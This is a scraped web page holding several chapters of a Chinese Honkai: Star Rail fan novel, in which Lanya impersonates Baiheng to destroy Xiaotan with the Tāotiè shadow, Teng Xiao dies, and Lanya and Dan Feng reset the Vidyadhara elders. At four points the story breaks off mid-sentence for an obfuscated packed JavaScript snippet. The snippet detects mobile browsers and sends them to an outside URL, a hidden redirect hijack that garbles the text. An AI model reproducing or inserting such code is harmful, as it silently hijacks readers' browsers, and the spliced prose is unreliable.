兰涯肯定阿哈是卖力气了,欢愉假面除了模仿了白珩的外貌声音,竟然连开星槎的技能也一起模拟了。 这是她第一次上手开星槎,开得如此丝滑。战斗星槎里只有她和贪饕的影子,刚才在下面还异常乖巧的影子,现在在她掌心里跳动,像一颗活的心脏,又像一只刚出生的幼兽在寻找母亲的体温。 “母亲……”影子的声音从她手心里传出来,很轻,很细,像婴儿的呢喃。 “母亲,你终于来了。我等了你好久。” 兰涯没有理它。影子在她掌心里慢慢膨胀,黑色的触须从她指缝间钻出来,缠着她的手腕,凉凉的,滑滑的,像蛇。 “母亲,你知道他有多想你吗?他每次看到你,心跳都会变快。他以为我不知道,但我都知道。” 兰涯的手指收紧了,没有理会影子。 影子的触须缠得更紧了,从手腕蔓延到小臂,像在拥抱她。 “他不敢说。他怕你走。他怕你走了就不回来了。他在被我侵蚀的时候喊的是你的名字。” 影子的声音在笑,阴冷的,潮湿的,像从地底渗出来的水。 “母亲,你让我吃了你吧。你让我吃了你,你就永远在他身体里了。你就不用走了。你就不用消失了。” 兰涯低头看着那团黑色的影子,冷漠地说:“你吃不了我,你吞不下。” 影子的触须缩了一下,然后又缠紧了。 “母亲,你真狠心。” 它不再说话了。 战场上的情况比任何人想象的都要糟糕。 腾骁将军已经亲自上阵了。 他率领着最后的云骑精锐,在玉界门残存的阵地上与倏忽的枝干搏杀。每一刀斩下,都会有一根金色的枝条断裂,但断裂的枝条不会死,它们落在地上,立刻生根发芽,长出更多的枝条。 “该死!”一名云骑军士吼道,“这些东西根本杀不完!” “不是杀不完,是杀得不够快!”另一名军士喊道,“将军,我们需要更多的支援!” 腾骁没有回答。他正在盯着那道金色巨树的心脏位置,那里有一团比周围更加明亮的光,像是树的核。如果他没猜错,那应该就是倏忽的本体所在。 但他够不到那里。倏忽的枝干层层叠叠,形成了一道几乎无法穿越的屏障。 “饮月和镜流呢?”腾骁吼道。 “他们还在侧翼!但饮月君的状态不太对——” 话没说完,一声震耳欲聋的龙吟撕裂了战场。 所有人都看到了。 在战场的左侧,一条青碧色的巨龙拔地而起,鳞片在炮火的光芒中闪烁着冷冽的光。那是丹枫的龙形。巨龙的身躯上有无数道裂痕,裂痕中渗出金色的光芒,那是龙狂的征兆。 “龙狂……”腾骁的脸色一沉,“他撑不住了。” 巨龙在战场上横冲直撞,巨大的龙爪撕裂了数十根金色的枝条。 但倏忽的反应更快,那些金色的枝条像活蛇一样缠上了巨龙的身体,一根、两根、十根、百根,层层叠叠,将巨龙裹成了一个金色的茧。 “丹枫!”镜流的声音从远处传来。 一道剑光划破长空,镜流踏剑而来,剑锋所过之处,金色的枝条纷纷断裂。但倏忽的枝条实在太多了,斩断一根,长出十根,斩断十根,长出百根。镜流的剑再快,也快不过丰饶的“生”。 “镜流!”巨龙的口中传出丹枫沙哑的声音,“走!别管我!” “闭嘴!”镜流一剑斩断缠住龙颈的枝条,声音冷得像淬了冰,“你要是死在这里,我饶不了你。” 巨龙发出一声低沉的呜咽,痛苦之下是更深的绝望。 “镜流,我控制不住了……” 腾骁看到了这一切,他知道没有时间了。丹枫撑不了太久,镜流的剑也快断了,云骑军的防线已经崩溃了三次。 如果他不做点什么,所有人都会死在这里。 他把刀从地上拔起来,刀身上全是裂缝,刀刃卷了好几处。他看了看那把刀,这把刀跟了他几百年,陪他打过无数场仗,今天大概是最后一次了。 “跟我来。”腾骁对身边的军士说,他没有回头,朝着那棵金色巨树的方向走了。军士们跟在他后面,没有人会问为什么。他们知道将军不会回头,他们也不会。 腾骁冲进了枝干丛中。他的刀在砍,一刀一刀,砍断那些金色的枝条,砍断那些会再生、会发芽、会重新长出来的枝条。 军士们跟在他后面,一个接一个地倒下,被树枝刺穿,被树根勒断,被倏忽的千张脸吞进嘴里。没有人停下来,没有人退回去,他们只是跟着腾骁,前进,前进,前进到最后一刻。 腾骁终于到了树的中心。那团最亮的光就在他面前,离他只有不到十步远。他把刀插进地面,刀身没入土中,只露出刀柄。金光从刀身上炸开,像一张大网,从地底升起来,缠住了倏忽的根。 那是腾骁最后的招数,用自己的生命做阵眼,把倏忽困在原地。 他的身体开始裂开,从手指开始,皮肤像干裂的泥土一样一块一块地剥落,露出下面的骨头,骨头也在裂。他没有动,他的手还握着刀柄,他的眼睛还睁着,看着那团光,看着倏忽的本体。它就在那里,他够不到它,但他的网够得到。 “帝弓啊,请护佑仙舟。” 他的身体完全裂开了,碎成了光点,散了。刀还插在地上,网还在。倏忽的根被缠住了,树枝在挣扎,但挣不开,那张网像铁铸的一样,纹丝不动。 巨龙从金色的茧里挣脱出来,龙鳞上全是血,龙眼里全是疯狂,但他还有最后一丝清醒。 他听到了腾骁的声音。 断剑还被镜流握在手里,剑刃上全是豁口。她看着那棵金色巨树,看着那张缠住树根的网,看着插在地上的那把刀。刀柄还在,但握着刀柄的人已经不在了。 看着那棵被网缠住的巨树,看着那些正在挣扎的枝条,看着那些正在枯萎的树根。所有人都知道腾骁做了什么,他用一条命换了时间,换了让仙舟喘口气的短短几分钟时间。 时间不多,但的确是足够了。 就在此时,一艘伤痕累累的星槎从战场的正上方俯冲下来,速度快得惊人。星槎的机翼已经断了一截,引擎冒着黑烟,但驾驶它的人显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505859|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在乎。 “白珩?”镜流瞪大了眼睛。 「白珩」坐在驾驶舱里,一只手握着操纵杆,另一只手捧着一轮黑色的太阳。她的脸上挂着白珩标志性的笑容,但那双眼睛的深处,有什么东西在燃烧。 “诸位,退后退后!让一让!”「白珩」活泼的声音通过星槎的外放喇叭传遍战场,“接下来的画面可能会引起不适,请捂住眼睛。” 她伸出了手。 那一瞬间,战场上的所有人都感觉到了一种难以言喻的恐惧。 某种更原始的、更深层的恐惧,那种远古生物饥饿到极致时连自己都想吃的恐惧。 贪饕的影子升起。 它没有固定的形态,是一团纯粹的黑暗。但仔细看的话,能在黑暗中隐约看到一张大嘴里有无数张嘴,尖牙层层叠叠,大大小小,每一张都在张开、闭合、张开、闭合,像是在咀嚼什么。 它“看到”了倏忽。 严格意义上来说,不算是“看到”。贪饕没有眼睛,它只有嘴。 它是用“饥饿”来感知世界的,越大的东西,越好吃的东西,就会引起它越强烈的饥饿感。 而倏忽,是它在漫长岁月中见过的最大的“食物”之一。 “白珩!”镜流的声音带着罕见的惊慌,“你疯了!这东西会吞噬所有人!” 「白珩」没有回答,她正死死地握着操纵杆,身体在剧烈地颤抖,贪饕的影子正在“吃”她。 她能感觉到,那团黑暗正在渗透她的皮肤,正在吞噬她的人性。她的记忆开始模糊,她的意识开始涣散,她甚至开始忘记自己是谁。 我是谁? 我是白珩。 不对。 我是兰涯。 也不对。 我是型号LY…… 一只手按上了她的肩膀。 拉曼查。 他不知道什么时候出现在星槎的后座。 “别忘了。”拉曼查的声音像是从很远的地方传来,“你是兰涯。” 那声音像一根绳索,将快要坠入黑暗的意识拉了回来。 兰涯深吸一口气,重新掌控了身体。 “拉曼查,”她的声音褪去了「白珩」的活泼,恢复了兰涯的清冷,“抓紧了。” 她猛地推动操纵杆,星槎如同一支离弦之箭,笔直地冲向倏忽的本体。 贪饕的影子在她身后展开,如同一轮黑色的太阳,吞噬着沿途的一切。 倏忽感觉到了危险。 那些千面千眼同时转向了星槎。千张面孔发出震耳欲聋的嘶吼,枝条在空中疯狂的摆动,试图阻止这个渺小的飞行器靠近。 但来不及了。 星槎已经冲入了倏忽的枝干网络。金色的枝条疯狂地抽打过来,但每一根枝条在接触到贪饕影子的瞬间就会被吞噬,连渣都不剩。 “就是现在!”拉曼查吼道。 兰涯猛地拉起了操纵杆。 星槎在最后一刻向上急转,而贪饕的影子脱离了星槎,如同一张巨大的嘴,将倏忽的本体整个吞了下去。 那一瞬间,战场上的所有人都看到了一个奇异的景象—— 一轮黑色的太阳在金色巨树的核心升起,吞噬了所有的光。 然后,巨大的黑洞在坍缩。 金色的巨树开始崩溃,那些千面千眼发出最后的嘶吼,但嘶吼声越来越小,越来越远,最终消失在一片绝对的寂静中。 当黑暗消失时,金色巨树已经不见了。 倏忽不见了,只有角落里几根孤零零的枝条。 兰涯靠在驾驶座上,大口大口地喘着气。 我做到了,白焰。 31.第 31 章 拉曼查几乎是从星槎上摔下来的。 “我需要一个冰库。”他对前来的丹鼎司医士说,额头上的青筋一根根暴起,“越冷越好。” 兰涯从后面跟了上来。她的脸色也很差,但比拉曼查好一些。她看了看拉曼查的状态,对医师们说:“照他说的做,找一间最冷的冰库,让他进去,不要打扰他。” “可是——” “他的身体里有一半的倏忽。”兰涯的语速异常的快,“影子吞噬了倏忽的大半躯体,他需要低温来压制。” 医师们的脸色全白了。 丰饶令使的血肉,哪怕只是一小块,也足以让一个普通人彻底畸变成怪物。 拉曼查居然还能保持人形,这本身就已经是个奇迹了。 他们不敢再耽误,手忙脚乱地将拉曼查送进了丹鼎司最深处的冰库。那是用来保存珍贵药材的地方,温度常年保持在零下。 拉曼查进去之前,回头看了兰涯一眼。 “你准备好了?”他问。 “对,还等着你来捞我呢。”兰涯回答。 拉曼查点了点头,关上了冰库的门。 兰涯站在门外,听着里面传来的沉重呼吸声。那呼吸声像是一头受了伤的野兽在喘息,粗重、紊乱、带着压抑到极致的痛苦。 她站了一会儿,然后转身离开。 她还有别的事情要做。 景元站在玉界门的废墟上,看着眼前的罗浮。 曾经繁华的洞天已经面目全非。琼楼玉宇变成了瓦砾,街道上到处都是干涸的血迹和畸变留下的残骸。云骑军的伤亡报告堆满了他的案头,每一个数字背后都是一个永远回不来的名字。 腾骁将军的遗体没有找到。 或者说,没有什么可以找的了。 腾骁将军在最后一刻引爆了自己的命途力量,将倏忽的本体困在了一个有限的空间里,为「白珩」的攻击创造了窗口。他自己连灰烬都没有留下。 “将军。”一名云骑军校尉走到景元身后,声音沉重,“各洞天的损失统计出来了。阵亡云骑军……” “报告放这里吧。”景元打断了他。 他知道数字意味着什么。罗浮的云骑军总兵力十不存一,这四个字不是夸张,是事实。 “持明那边呢?”景元问。 校尉犹豫了一下:“饮月君……丹枫大人还在恢复中。龙狂的后遗症很严重,丹鼎司的医士说他可能需要一些时间才能完全清醒。” “但持明族的龙师们似乎有些异动,好像在商量什么事情。” 景元皱了皱眉。他没有追问,因为现在他手头有更重要的事。 “传令下去,”景元说,“从今天起,罗浮云骑军由我指挥。所有洞天的修复工作优先保障民生,先把伤员安置好,再谈其他的。” 校尉行了一礼,转身离去。 景元独自站在废墟上,风吹起他沾满灰尘的披风。他想起腾骁将军很久以前对他说过的话:“景元,你比我聪明,但你太心软了。当将军的人,心不能太软。” 心软吗?景元苦笑。也许腾骁将军说得对。如果他不心软,他就不会答应兰涯的计划。如果他不心软,他接受那群老资历们的要求,让白珩去执行那个必死的任务。 但那样的话,白珩就会死。 景元闭上眼睛,他不后悔。即使再选一次,他也会答应兰涯。 因为白珩不应该死。因为她还有那么长的路要走,那么广阔的天空要飞。 “兰医师,”景元自言自语,“你还有什么想做的?” 白珩醒来的时候,发现自己躺在一间陌生的屋子里。 屋子不大,但很干净。窗外能看到罗浮的穹顶,巨大的护罩系统已经暗淡了许多,有几处明显的裂痕正在缓慢地自我修复。 “你醒了?” 白珩猛地转过头,看到景元坐在床边的一把椅子上,手里端着一杯已经凉透的茶。 “景元?”白珩揉了揉太阳穴,“我这是……我睡了多久?” “三天。” “三天?!”白珩一下子坐了起来,然后“哎哟”一声捂住了后颈,“我的脖子怎么这么疼……” 景元的眼神微微一闪。 “你受伤了。”景元面不改色地说,“在战场上被倏忽的枝条扫到了后颈。医士说需要静养。” 白珩狐疑地看着他:“战场?我又上了战场?” “你不记得了?” 白珩皱着眉头想了很久,然后摇了摇头:“不记得。我只记得刚下了战场休整,你就叫我过来,我看到了兰妈妈,然后……然后就什么都不记得了。” 景元沉默了片刻。 “你驾驶星槎冲进了倏忽的本体,用贪饕的影子把它吞噬了。”他说,“你是英雄,白珩。整个罗浮都在传你的名字。” 白珩张大了嘴。 “我?英雄?”她指了指自己的鼻子,“可是我什么都不记得啊!” “战场上的创伤会导致记忆缺失。”景元说,“很正常。你好好休息,过段时间也许就想起来了。” 白珩还想说什么,门忽然被推开了。 兰涯走了进来。她的脸色很苍白,走路的时候脚步有些虚浮,但那双不再空洞的眼睛盛满了深邃的宇宙。 “景元,”兰涯说,“你先出去。我和她单独谈谈。” 景元看了看兰涯,又看了看白珩,点了点头,起身离开了房间。 门关上的那一刻,白珩忽然觉得有些不对劲。 她说不清是哪里不对劲,但兰涯看她的眼神和以前不一样了。以前兰涯看她的眼神总是带着淡淡的温柔,但此刻,露出一种决绝和释然。 “兰妈妈,”白珩试探性地问,“你还好吗?你的脸色好差。” 兰涯没有回答。她走到床边,在白珩面前坐下来,平视她的眼睛。 “白珩,”她说,“接下来我要告诉你一些事。你可能会生气,可能会难过,可能会觉得我在骗你。但我说的每一个字都是真的。” 白珩被她严肃的语气弄得有些不安,但还是点了点头。 兰涯深吸一口气,开始说。 她从倏忽之战开始说起,说到高层要求白珩去执行那个必死的任务,说到她不愿意让白珩去送死,说到她找到景元打晕了白珩,说到她戴上欢愉假面假扮成白珩上了战场。 她说了贪饕的影子,说了倏忽的吞噬,说了腾骁的牺牲,说了丹枫的龙狂,说了镜流的断剑。 她说了所有的事。 除了黑猫。 白珩从头到尾一句话都没有说。 她的表情从困惑变成了震惊,从震惊变成了恐惧,从恐惧变成了无法言说的复杂。 当兰涯说完最后一个字,屋子里安静了很久。 然后白珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505860|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭了。她扑上来抱住了兰涯,把脸埋在兰涯的肩膀上,放声大哭,哭得像一个孩子。 “你怎么能这样!”她一边哭一边喊,“你怎么能替我去送死!你怎么能一个人扛着那些东西!你怎么能——” 她哭得说不出完整的话,只能一遍遍地重复“你怎么能”。 兰涯僵住了。 她被白珩抱着,感觉到白珩的眼泪浸湿了她的衣领,感觉到白珩的身体在剧烈地颤抖,她忽然觉得胸口有什么东西松动了,像是一颗桃核,终于有了一丝裂缝,绿色的新芽从里面探出头来。 她慢慢抬起手,放在了白珩的背上。 “别哭了。”她说,声音有些涩,“我没事。” “你骗人!”白珩抬起头,眼睛哭得通红,“你看你的脸色!你看你的手!你还在发抖!你哪里没事了!” 兰涯低头看了看自己的手,确实在抖,是欢愉假面和贪饕影子的双重作用留下的后遗症。 她的意识还在恢复中,身体的协调性也远没有回到正常水平。 “会好的。”兰涯说。 白珩又哭了一会儿,终于慢慢平静下来。她用袖子胡乱擦了擦脸,吸着鼻子说:“那现在呢?拉曼查先生呢?他还好吗?” “他在冰库里。”兰涯说,“贪饕的影子吞噬了倏忽的大半躯体,他需要用低温来压制。” “那他会不会……” “不知道。”兰涯说,“看他自己。” 白珩沉默了一会儿,然后抬起头,认真地看着兰涯:“兰妈妈,你为什么要帮我?” “因为你妈妈。”兰涯说,“白焰拜托我在你遇到困难的时候,帮你搭把手。” 白珩的眼眶又红了:“就因为这个?” “就因为这个。” 白珩盯着她看了很久,忽然笑了。那个笑容里有泪光,有感激,还有一点点说不清的心疼。 “兰妈妈,”她说,“你真是一个傻瓜。” 兰涯微微一愣。 “你明明可以不管我的。”白珩说,“你明明可以让我去死,然后告诉自己你已经尽力了。但你偏不,你偏要自己去扛,偏要自己去当那个送死的人。你不是为了履行对我妈妈的承诺,你是因为……” 她顿了顿,声音低了下去。 “你是因为在乎我。” 兰涯张了张嘴,想说不是,想说她只是在履行承诺,想说她没有感情。 但话到嘴边,她说不出来。 因为她知道白珩说的是对的。 她在乎白珩。 不只是因为白焰,而是白珩本身就是值得在乎的人。她爱笑,她勇敢,她善良,她是应该翱翔在天空中的鸟儿,而不是早早折翼。 “白珩,”兰涯的声音很轻,“这个秘密只有四个人知道。你,我,景元,拉曼查。保护这个秘密,不要告诉任何人。” 白珩点了点头。“然后呢?”她问。 兰涯站起身,走到窗边,看着窗外那道正在缓慢修复的穹顶光带。 “然后你就自由了。”她说,“你还是罗浮的英雄,还是云上五骁的白珩。你可以继续飞,想去哪里就去哪里。没有人会知道真相,没有人会追问细节。” 白珩沉默了。 “那你呢?”她问,“你去哪里?” 兰涯没有回答。 她做好了履行承诺,付出代价的准备。 32.第 32 章 那天晚上,兰涯找到了丹枫。 丹枫被关在丹鼎司深处的一间密室里。不是监狱,但和监狱也差不多。 持明龙师们以“养伤”为名,将他软禁了起来。他们害怕他,害怕他的龙狂,害怕他的力量,害怕他随时可能失控。 兰涯穿过层层守卫,出现在丹枫面前的时候,丹枫正坐在墙角,双手抱膝,像一只受伤的野兽。 他的眼睛是睁着的,但瞳孔涣散,不知道在看什么。 “丹枫。”兰涯叫了他一声。 丹枫没有反应。 兰涯蹲下来,伸手在他面前晃了晃。丹枫的眼珠慢慢转了过来,落在兰涯脸上。 兰涯说:“你要彻底抛弃往昔,离开罗浮。” 丹枫闭上了眼睛。 很久之后,他才开口:“你知道你在说什么吗?” “我知道。” “你要我离开罗浮。离开我的族人,我的职责,我的一切。就因为你觉得我需要离开?” “不是因为我觉得你需要离开。”兰涯说,“是因为你本来就想要离开。你只是没有勇气说‘不’。” 丹枫的呼吸骤然加重,他想反驳,但反驳的话卡在喉咙里,一个字都说不出来。 因为兰涯说的是对的。仙舟政局内斗,甚至影响到了战场,那些老资历们,有不少和持明龙师们暗通有无。 他很想掀翻桌子,可他没有勇气。 兰涯问:“想不想来一场爽了再说的天翻地覆?” “你想做什么?”丹枫问,声音沙哑。 “重启持明传承。”兰涯说,“把所有的龙师都打回蛋的状态,让传承彻底重置。” 丹枫猛地抬起头:“你知道这意味着什么吗?” “我知道。持明族会大乱,龙师们都成蛋了,仙舟老资历们会暴怒,你可能吃点苦头,我大概以后再也进不了仙舟了。” “那你还——” “丹枫。”兰涯打断了他,“你必须走。” 丹枫沉默了。 “好。”丹枫说,苍青色的眼睛是凝重的狠,对自己的狠,“走。” 那一夜,兰涯和丹枫联手,做了一件罗浮历史,不,仙舟历史上从未有过的事。 他们打了所有在罗浮仙舟上的持明龙师。 在龙师的居所中,丹枫用龙尊的力量压制住对方,兰涯则用一种古老的手法,拿起了大锤。 一个。两个。三个…… 两个人的速度太快了。等其他人反应过来的时候,所有的龙师都已经变成了蛋。 仙舟的老资历们炸了:“饮月君,你这是干什么?” “重启传承。”丹枫说,“旧的龙师已经不适合这个时代了。” “你没有这个权力!” “我是龙尊。”丹枫的眼睛很冷,“我有,这是我们持明族家务事。” 老资历们几乎要气疯了:“你这是背叛!背叛持明,背叛罗浮,背叛仙舟!” 丹枫没有反驳,他只是转过头,看向角落。 兰涯站在那里,浑身是血,她的脸上没有任何表情,但她的眼睛在黑暗中微微发光,像是两颗冰冷的星。 “带走她!”老资历吼道,“她是共犯!” 云骑军涌了进来。 兰涯和丹枫被带走了 拉曼查总算从冰库里出来了,他的状态好了很多,影子被低温压制住了。他的脸色依然很差,走路的脚步也有些虚浮,但那双眼睛重新变得锐利起来。 他出来后的第一件事,就是找兰涯。 果不其然,没找到。 “她被关进幽囚狱了。”丹鼎司的医士告诉他,“罪名是扰乱持明族传承。听说会判得很重。” 拉曼查一脸我就知道,然后他去找了仙舟高层,不是求情,在“义”字面前,头狼从来不求人。 他只是站在仙舟议事厅里,用他那双冷得能结冰的眼睛,一个一个地看过每一个高层的脸,真正的高层腾骁将军等人,已经在最前线牺牲了,这里一群苟延残喘的老不死只是酒囊饭袋。 “你们需要我的时候,”他说,“我交出了贪饕的影子。我的身体里现在还残留着倏忽的血肉,每一刻都在承受丰饶活性的折磨。你们的云骑军死伤惨重,你们的将军以身殉职,你们的龙尊濒临疯狂。” 没有人说话。 “她也不是仙舟人,但支援了战场最前线。”拉曼查说,“而你们给她的回报,是幽囚狱。” 一名高层咳嗽了一声:“拉曼查先生,事情没有那么简单。兰医师的行为严重扰乱了持明族的——” “我知道。”拉曼查打断了他,“我不管你们仙舟持明族的内部事务,我也不管你们的政治斗争。” 他顿了顿,“我只要公义。” 议事厅里一片死寂。 兰涯不在乎仙舟怎么对她。她在乎的是白珩能不能好好活着,丹枫能不能挣脱枷锁,那些她放在心里的人能不能有一个好的结果。 至于她自己,被关进幽囚狱也好,被上刑也好,她不在乎。 拉曼查活了九个琥珀纪,见过无数人。有为了利益不择手段的,有为了理想奋不顾身的,有为了活命出卖一切的。但像兰涯这样的人,从刚认识那天开始,纯粹到一如既往。 她不是没有感情。 她只是把感情藏得太深了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505861|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,深到连她自己都以为不存在。 但拉曼查看到了。 在匹诺康尼,当她为了无名客被不公正对待的时候。 在仙舟,当她固守和白焰的承诺的时候。 在战场,当她代替白珩冲向倏忽的时候。 他看到了。 “兰涯,”他轻声说,“你这个傻瓜。” 幽囚狱的牢房不大,兰涯坐在角落里,背靠着冰冷的墙壁,闭着眼睛。 听到脚步声,她睁开了眼睛。 景元和拉曼查站在牢门外。 “你们两个怎么一起来了?”兰涯的语气平淡。 “来看看你。”景元说,“顺便告诉你几件事。” “说。” “我把白珩派到远处的星域去执行侦察任务了。等她回来,应该已经过了好几个月。” “聪明。” “还有一件事。”景元的语气变得严肃起来,“持明族那边要求将你移交给他们审判,在公开场合说要让你‘永远消失’,我会尽力周旋。” 兰涯点了点头,没有表现出任何情绪。 三个月后,持明族的审判还没开始,丹枫蜕生了,变成一颗蛋了。 这就尴尬了,龙师们也都变成蛋了,于是这件事不了了之。 景元找到了一个折中的方案,兰涯不会被移交给持明族,也不会被无限期关押。她将被“流放”——永远不得踏入仙舟联盟的任何一艘仙舟,否则格杀勿论。 兰涯签字的时候,手很稳。 “可以走了。”狱卒说。 她站起来,走出牢门,穿过长长的走廊,走出幽囚狱的大门。 阳光刺得她眯了眯眼。 三个月没有见过阳光了。罗浮的穹顶光带比战时亮了一些,修复工作似乎进展得不错。不知道是谁在废墟上种了花,空气里甚至还有花香。 “欢迎出狱。” 兰涯转过头,看到拉曼查靠在幽囚狱外的一棵树上,手杖点地。 兰涯颔首:“谢谢你来接我,拉曼查妈妈。” 船驶入星海的那一刻,兰涯站在舷窗前,最后看了一眼罗浮。 那座仙舟在星海中缓缓旋转,像一颗沉睡的明珠。它的表面还有伤痕,还在流血,但它的心跳还在,它还在活着。 罗浮在舷窗外越来越小,越来越远,最终变成了一颗不起眼的光点,淹没在无尽的星河之中。 兰涯靠在座位上,闭上了眼睛。 她想起白珩的眼泪,想起景元的沉默,想起丹枫最后看她的那一眼。 她想起黑猫问:“你愿意承担后果吗?” 我知道,我愿意。 33.第 33 章 兰涯结束克莱门汀星的委托,回到基地的时候,熊和鸮又在吵。 确切地说,他们一直在吵,每天会停几次,吃饭的时候停,巡逻的时候停,但只要两个人一对上视线,话题就会自动接回去刚才的争吵。 鸮抱着手靠在集装箱边,熊来回踱步,靴子踩在地板上,每一步都带着闷响。 “我他〇的不是要老大死,”熊停下脚步,抬头看鸮,“我是说,他〇的他这样下去迟早撑不住。你看他现在睡的什么东西?他〇的冰柜。零下四十度的冰柜。” 鸮没接话。 熊又走了两步,声音压低了些,但在这间改建过的仓库里,压低的声音反而听得更清楚。 “影子在他〇的吃他,一天比一天严重。仙舟罗浮回来之后,他连他〇的正常睡眠都做不到。以前只是手,现在他〇的整条右臂都——” “我知道。”鸮终于开口,“我每晚都在外面守着。影子会在他睡着之后扩散,从右臂蔓延到肩膀,因为兰医师之前的处理,影子只能在义肢和□□接缝处徘徊。冰柜能延缓这个过程,体温下降,影子的活跃度会降低。这是他目前找到的最有效的办法。” “延缓。”熊重复这个词,“只是延缓,挨千刀的影子还在。你说怎么办?你他〇有办法处理掉影子吗?” 鸮沉默了。 “你没有。”熊说,“我他〇也没有。整个巡海游侠都他〇没有。兰医师已经尽力了,但我们总不能看着老大一天天被这东西吞掉。” “所以你的方案是?” “让他解脱。” “怎么解脱?” 熊张了张嘴,什么都没说出来。 鸮嗤笑了一声:“你看,你连怎么解脱都不知道。杀了拉曼查?影子会怎么样?它已经吞噬过丰饶令使,拉曼查用天弓的约束之力把它锁在自己体内。一旦拉曼查死亡,约束消失,影子会跑出来。一个吞过倏忽的贪饕影子,放出去是什么后果,你想过没有?” 熊的手攥成拳头,又松开。他走到墙边,靠着墙坐下来,不再说话了。 兰涯出现在他们面前,星海一样的眼睛里映着顶灯的白光,她说:“我这里还有病人,你们换个更空旷的地方聊,比如外面的荒地。” 熊叹了口气,鸮后脑勺靠在集装箱上,闭上眼睛。 医疗区不大,但收拾得很干净,只有两张床,因为平时游侠躺在这里的可能性太低了。一张桌子,几个柜子,一台老旧的体征监测仪。其中一张床上坐着一个人。 粉色头发的少女。 她听见脚步声,抬起头来。她的眼睛是很深的红色,光线暗的时候看着像黑色,只有对着光才会透出那种暗沉的猩红。 兰涯第一次见到她的时候,想到的是烛光倒映在深潭里。少女现在看起来比刚被捡到时好了一些,脸颊上多了一点血色,手腕上的淤青也消了大半。 她是亚德丽芬的亡国公主。 亚德丽芬星系。兰涯知道那个地方。帝皇战争撕裂了星系的秩序,虫群随后碾过,再然后,毁灭星神纳努克在那片焦土上诞生,引爆了星系中所有的恒星。一个文明,一个世界,连同它的太阳,一起消失在宇宙里。 游侠们在陨石带发现她的时候,她蜷缩在一块碎裂的飞船残骸里。 巡海游侠把她带回来,熊给她做了紧急处理,兰涯接手了后续的治疗。她恢复得很快,第二天就能坐起来说话,第三天开始吃东西,第四天她问熊,我能见你们的老大吗。 甚至都不用等到星期日。 她说她要加入巡海游侠。 拉曼查见了她,就在医疗区,拉曼查那时候刚从冰柜里出来,脸色很差,但坐得很直。他听她说完,问了她一个问题: “你为什么要走上巡猎之路?” 粉色头发的少女看着他,没有犹豫:“毁灭帮不了这个世界。我经历过毁灭,我知道它是什么。它只会把苦难碾得更碎,撒得更远。” 她停顿了一下,声音没有提高,每个字都很沉,“我有想要复仇的对象。那些给世界带来苦难的不公不义。” 拉曼查苍白的脸上显得有些疲倦,但笑了,他说:“行,留下吧。” 就这么简单。 兰涯当时站在边上看着这一幕。 拉曼查答应得太快了,快到她觉得有些熟悉。 她想起很久以前,诛罗之战结束后,自己站在拉曼查面前,说了类似的话。那时候她第一次使用双针在战场上救人,逆转了游侠们的伤势,把濒死的人从死亡线上拉回来。后来,在那个扫盲班的教室外,她对拉曼查说想加入巡海游侠。 拉曼查毫不犹豫拒绝了她,速度比答应公主要快得多。他说:“这条路意味着失去、痛苦和复仇。我看得出,你心中无爱无恨。没必要和我们这群人一起受苦。” 兰涯没有再问第二次。 但那之后,事情就变得有些微妙。她依然是绝境医师,依然在宇宙各处救人。 战场上的伤员堆里,虫群过境后的废墟中,星际盗匪的劫掠现场。巡海游侠在的地方,绝境医师出现的概率高得离谱。 宇宙里慢慢形成了一种默契,一种近乎默认的认知,绝境医师和巡海游侠是绑在一起的,有人甚至以为她就是巡海游侠的一员。 也有个别黑塔空间站的研究员对此持反对意见,因为伟大的黑塔数据库的记录上写的是“终末命途行者”。研究员自动忽略了后面跟着一个括号,里面标注着“待进一步确认”。 兰涯以前还会否认这些,现在她不在意这些分类了。 今天,公主的恢复情况很好,她的伤不需要用双针,只需要时间慢慢养好就行。兰涯检查了她的各项指标,拆掉了左臂的固定绷带,重新涂了一层再生凝胶。 兰涯看着这个安静配合,没有多余话的公主,脑海里突然浮现出我见的话。 “亡国的公主,无漏净子之一,必须冰封记忆后登上列车。” 无漏净子这个词语还是之前查了黑塔数据库才知道的,后来兰涯仔细回忆,才发现这个词语在自己的系统认知里叫作“未完成的浮黎”。 兰涯走出医疗区,熊坐在地上,鸮不知道什么时候蹲到了集装箱上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 